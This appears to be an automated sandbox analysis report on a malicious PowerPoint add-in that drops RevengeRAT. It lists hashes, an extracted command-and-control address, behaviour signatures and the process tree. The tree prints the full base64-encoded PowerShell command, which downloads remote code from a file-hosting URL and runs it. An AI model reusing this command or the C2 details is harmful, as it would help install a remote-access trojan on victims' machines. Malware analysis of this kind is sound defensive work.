Analysis
-
max time kernel
145s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
13-05-2023 01:13
Static task
static1
Behavioral task
behavioral1
Sample
f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981.ppam
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981.ppam
Resource
win10v2004-20230220-en
General
-
Target
f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981.ppam
-
Size
17KB
-
MD5
515ff2344f241cfdb65a08b0c6fa90f9
-
SHA1
36b640ba2e0c9b6da14364e4b24a960b964b8377
-
SHA256
f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981
-
SHA512
796fd73c9820ff56456deab07219ad29a25c8231d3c3fe60b2aa73ef3392f548e76eef12256f52a3aa447e251004153cb2c85c01bfda57d758a2a04c52aca44e
-
SSDEEP
384:dXPgOGHYbeUPGocggolFNXy82T4XIERqzmhb:VPpGHYfGTggol7O44nzW
Malware Config
Extracted
revengerat
NyanCatRevenge
m7.ddns.com.br:5222
30c2ac3031a0
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 4356 4460 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 23 4356 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4356 set thread context of 1412 4356 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 4460 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4356 powershell.exe 4356 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4356 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
POWERPNT.EXEpid process 4460 POWERPNT.EXE 4460 POWERPNT.EXE 4460 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 4460 wrote to memory of 4356 4460 POWERPNT.EXE powershell.exe PID 4460 wrote to memory of 4356 4460 POWERPNT.EXE powershell.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe PID 4356 wrote to memory of 1412 4356 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵PID:1412
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4lkyhndp.qrh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1412-201-0x0000000005960000-0x0000000005970000-memory.dmpFilesize
64KB
-
memory/1412-200-0x0000000005960000-0x0000000005970000-memory.dmpFilesize
64KB
-
memory/1412-199-0x0000000005DB0000-0x0000000006354000-memory.dmpFilesize
5.6MB
-
memory/1412-196-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
-
memory/4356-192-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4356-183-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4356-158-0x000002A077FD0000-0x000002A077FF2000-memory.dmpFilesize
136KB
-
memory/4356-195-0x000002A0784B0000-0x000002A0784B1000-memory.dmpFilesize
4KB
-
memory/4356-163-0x000002A078010000-0x000002A078020000-memory.dmpFilesize
64KB
-
memory/4356-164-0x000002A078010000-0x000002A078020000-memory.dmpFilesize
64KB
-
memory/4356-165-0x000002A078010000-0x000002A078020000-memory.dmpFilesize
64KB
-
memory/4356-194-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4356-190-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4356-188-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4356-186-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4356-184-0x000002A078490000-0x000002A0784A8000-memory.dmpFilesize
96KB
-
memory/4460-139-0x00007FFC79FD0000-0x00007FFC79FE0000-memory.dmpFilesize
64KB
-
memory/4460-182-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-179-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-181-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-133-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-180-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-138-0x00007FFC79FD0000-0x00007FFC79FE0000-memory.dmpFilesize
64KB
-
memory/4460-137-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-136-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-135-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB
-
memory/4460-134-0x00007FFC7C930000-0x00007FFC7C940000-memory.dmpFilesize
64KB